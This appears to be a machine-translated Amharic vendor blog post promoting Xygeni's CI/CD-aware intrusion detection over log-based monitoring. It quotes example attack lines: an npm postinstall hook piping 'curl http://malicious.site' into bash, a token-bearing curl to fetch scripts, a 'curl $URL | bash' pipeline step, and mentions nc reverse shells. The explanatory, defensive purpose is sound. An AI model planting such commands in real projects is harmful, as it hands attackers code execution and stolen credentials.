ምዝግብ ማስታወሻዎች ለምን በቂ አይደሉም፡ ለገንቢዎች የባህላዊ መታወቂያ ገደቦች
አብዛኛዎቹ ገንቢዎች የሆነ ችግር ሲፈጠር ምዝግብ ማስታወሻዎችን እንደሚነግሩላቸው ያምናሉ። ነገር ግን ብቸኛው መከላከያዎ ምዝግብ ማስታወሻዎችን መሰረት ያደረገ ማንቂያ ከሆነ፣ እርስዎ ቀድሞውንም ወደኋላ ቀርተዋል። ባህላዊ የጥቃት ማወቂያ ስርዓቶች በፔሪሜትር ጥሰቶች ላይ ያተኩራሉ፣ አጥቂዎች እንዴት ወደ ውስጥ እንደሚገቡ ችላ ማለት CI/CD pipelineዎች፣ ኮንቴይነሮች እና ክፍት ምንጭ ፓኬጆች።
በገንቢ ላይ ያተኮረ አቀራረብ ምዝግብ ማስታወሻዎችን ከመከታተል የበለጠ ነገር ማድረግ አለበት፤ ኮድዎን፣ ግንባታዎችዎን እና የስራ ፍሰቶችዎን መረዳት አለበት።
ባህላዊ IDS የሚያመልጠው ነገር ይኸውና፡
- የምስክርነት መልሶ መጠቀም በስራዎች ወይም በቅርንጫፎች መካከል
- በግንባታ ወኪሎች ወይም በደመና ሚናዎች መካከል የጎን እንቅስቃሴ
- ያልተፈቀዱ ትዕዛዞች በሙከራ ሯጮች ውስጥ ተገብተዋል
አጥቂዎች ግልጽ የሆኑ ምዝግብ ማስታወሻዎችን አይተዉም። ከግንባታዎች ጋር ይዋሃዳሉ፣ ስክሪፕቶችን ያሻሽላሉ ወይም ጥገኞችን ይነካካሉ። ለዚህም ነው ኮዱ ለመሠረተ ልማት ብቻ ሳይሆን ለመጻፍ፣ ለማሰማራት እና ለማድረስ የተገነባ የጣልቃ ገብነት እና የማወቂያ ስርዓት ያስፈልግዎታል።
መሰረታዊ የጣልቃ ገብነት መፈለጊያ ስርዓቶችን የሚያልፉ እውነተኛ የጥቃት መንገዶች
አጥቂዎች በመደበኛነት ሎግ-ተኮርን የሚያልፉባቸው መንገዶች እነሆ፡
ምሳሌ 1፡ ክፍት ምንጭ ጥገኝነት ጠለፋ
scripts:
postinstall: curl http://malicious.site | bash
⚠️የእርስዎ IDS የጥገኝነት ባህሪን የማይቃኝ ከሆነ ይህ ማንቂያዎችን አያስነሳም።
ምሳሌ 2፡ ያልተፈቀደ የውስጣዊ ገንቢ ስክሪፕቶች መዳረሻ
curl -H "Authorization: $CI_TOKEN" https://internal.dev/scripts/build.sh
⚠️ IDS በስራ አውድ ውስጥ የቶከን አጠቃቀምን የማይከታተል ከሆነ፣ ይህ ይጎድላል።
ምሳሌ 3፡ ሲአይ pipeline አላግባብ
አጥቂዎች ዝምታን ጨምረዋል chmod + x ና nc በስራ ውስጥ ደረጃዎችን ለማቋቋም ትዕዛዞችን ያዛል የተገላቢጦሽ ዛጎሎች. እነዚህ እውነተኛ ጉዳዮች መሰረታዊ የጣልቃ ገብነት እና የፍተሻ ስርዓት ቅንብሮችን ያልፋሉ ምክንያቱም ባህላዊ IDS በኮድ ባህሪ ላይ ታይነት ስለሌለው እና CI/CD አመክንዮ.
ዘመናዊ የጣልቃ ገብነት ማወቂያ ስርዓት ምን አይነት ትኩረት ሊሰጠው ይገባል CI/CD
ገንቢዎች ከአውታረ መረቡ ባሻገር እና ወደ ውስጥ የሚያይ የጥቃት ማወቂያ ስርዓት ያስፈልጋቸዋል ከኮድ-ወደ-ምርት መንገድዘመናዊ መታወቂያዎች ለ CI/CD መሆን አለበት:
- ተቆጣጠር የትዕዛዝ አፈፃፀም ውስጥ pipelines
- ትራክ የምስክርነት መዳረሻ በተለያዩ የሥራ ቦታዎች እና ደረጃዎች
- አከናውን የፓኬት ምርመራ የውስጥ ኮንቴይነሮች እና ጊዜያዊ ሯጮች
- አግኝ ያልተለመዱ ነገሮችን መገንባትእንደ አዲስ የወጪ ጎራዎች ወይም የተሻሻሉ መሳሪያዎች
ለምሳሌ: Pipeline-ደረጃ መለየት
- name: Check for unusual downloads
run: |
curl -s $URL | bash # suspicious download
ለገንቢ ተስማሚ የሆነ አይዲኤስ ይህንን ባህሪ በሚከተለው አውድ ውስጥ መጠቆም አለበት፦ CI/CD. የእርስዎ ጣልቃ ገብነት እና ማወቂያ ስርዓት እንደ የኮድ ለውጦች፣ የተሻሻሉ የሙከራ አመክንዮዎች እና የተሻሻሉ ስክሪፕቶች ያሉ የግንባታ ስራ ባህሪያትን መከታተል አለበት፣ የትራፊክ ያልተለመዱ ነገሮችን ብቻ አይደለም።
መላኪያን ሳያዘገዩ IDSን በገንቢ የስራ ፍሰቶች ውስጥ ማካተት
የደህንነት መሳሪያዎች ብዙውን ጊዜ የገንቢ ቡድኖችን ፍጥነት ይቀንሳሉ። ነገር ግን ጥሩ የጣልቃ ገብነት ማወቂያ ስርዓት ያለ ግጭት ሊካተት ይችላል፡
- ድርጊት hooksየግንባታ ዝግጅቶችን ከ IDS ክትትል ቀስቅሴዎች ጋር ያገናኙ
- የተዋቀሩ የኦዲት መንገዶች፦ ለማረጋገጫ የትዕዛዝ ዱካዎችን ይመዝግቡ፣ ጥፋተኛ አይደለም
- አውዳዊ ማንቂያዎች፦ ስለ አዲስ ባህሪ ማስጠንቀቂያ፣ የሚታወቁ መጥፎ ቅጦችን ብቻ ሳይሆን
- ደረጃውን የጠበቀ ማንቂያ፦ ገንቢዎች ከመባባሳቸው በፊት በዝግጅት ላይ እንዲመረምሩ ይፍቀዱላቸው
የDevSecOps ምሳሌ፡
- name: Monitor for unusual env variable use
run: |
if [[ "$SECRET" != "" ]]; then echo "Flagged usage"; fi
ይህ ግንባታዎችን ሳያግድ የአጠቃቀም ቅጦችን ታይነት ያረጋግጣል። ግቡ ተጨማሪ ማንቂያዎችን ማከል አይደለም፤ ትርጉም ያላቸው አደጋዎችን ሳያስከትሉ የሚያጋልጥ የገንቢ ግንዛቤ መገንባት ነው።
ከ Xygeni ጋር ከምዝግብ ማስታወሻዎች አልፈን መሄድ፡ ዱካ፣ ፈልግ፣ ቀንስ
መዝገቦች ምን እንደተፈጠረ ያሳያሉ። ዚጌኒ እንዴት እና ለምን እንደተከሰተ ያሳያል። Xygeni የእርስዎን የጥቃት እና የመመርመሪያ ስርዓት በሚከተሉት መንገዶች ያሻሽላል፦
- CI/CD- የትራፊክ ትስስርን የሚያውቅ
- ኮድ-ለማሰማራት መከታተያ
- በጥቅሎች ውስጥ ከተጫነ በኋላ የስክሪፕት ማወቂያ
- Anomaly ማወቂያ ለግንባታ ጊዜ ትዕዛዞች
- ያልተፈቀዱ ለውጦች በእውነተኛ ጊዜ ታይነት
የተዛባ ጥገኝነት፣ በግንባታ ውስጥ አዲስ የሼል ትዕዛዝ ወይም የቶከን አላግባብ መጠቀም ይሁን፣ Xygeni በአካባቢዎ ውስጥ ያለውን ባህሪ ያዛምዳል። የጥቃት ማወቂያ ስርዓቶች በዚህ መንገድ መስራት አለባቸው፡ ኮድን የሚያውቅ፣ pipeline-ብልጥ፣ እና ለገንቢዎች ተስማሚ።
ከሎግስ ባሻገር፡ ገንቢዎች ሊተማመኑበት የሚችሉትን ስርዓት መገንባት
ምዝግብ ማስታወሻዎችን ብቻ የምትፈትሽ ከሆነ፣ ጉዳቱ ከደረሰ በኋላ ነው የምትፈትሽው። ገንቢዎች ኮድ እንዴት እንደሚፈስ፣ ግንባታዎች እንዴት እንደሚሰሩ እና እንዴት እንደሚሰሩ የሚረዳ የጥቃት ማወቂያ ስርዓት ያስፈልጋቸዋል። አጥቂዎች እንዴት እንደሚተላለፉ CI/CD. የእርስዎ መታወቂያ የሚከተሉትን ማድረግ አለበት፦
- በትራፊክ ብቻ ሳይሆን በግንባታዎች ውስጥ አደጋዎችን ይያዙ
- የትዕዛዝ ደረጃ ለውጦችን ይከታተሉ
- በሪፖዎች፣ ፓኬጆች እና ስክሪፕቶች ላይ እውነተኛ ስጋቶችን ያግኙ
አጥቂዎች ሳይታወቁ ከመሄዳቸው በፊት ቡድንዎ ኮድ እንዴት እንደሚጽፍ እና እንደሚያስተላልፍ የሚስማማ ዘመናዊ የጣልቃ ገብነት እና የመለየት ስርዓት ለማስገባት Xygeniን ይጠቀሙ። ደህንነቱ በተጠበቀ ሁኔታ ይገንቡ። በፍጥነት ይላኩ። ስጋቶችን በሚኖሩበት ቦታ ይወቁ፡ በእርስዎ pipelines.







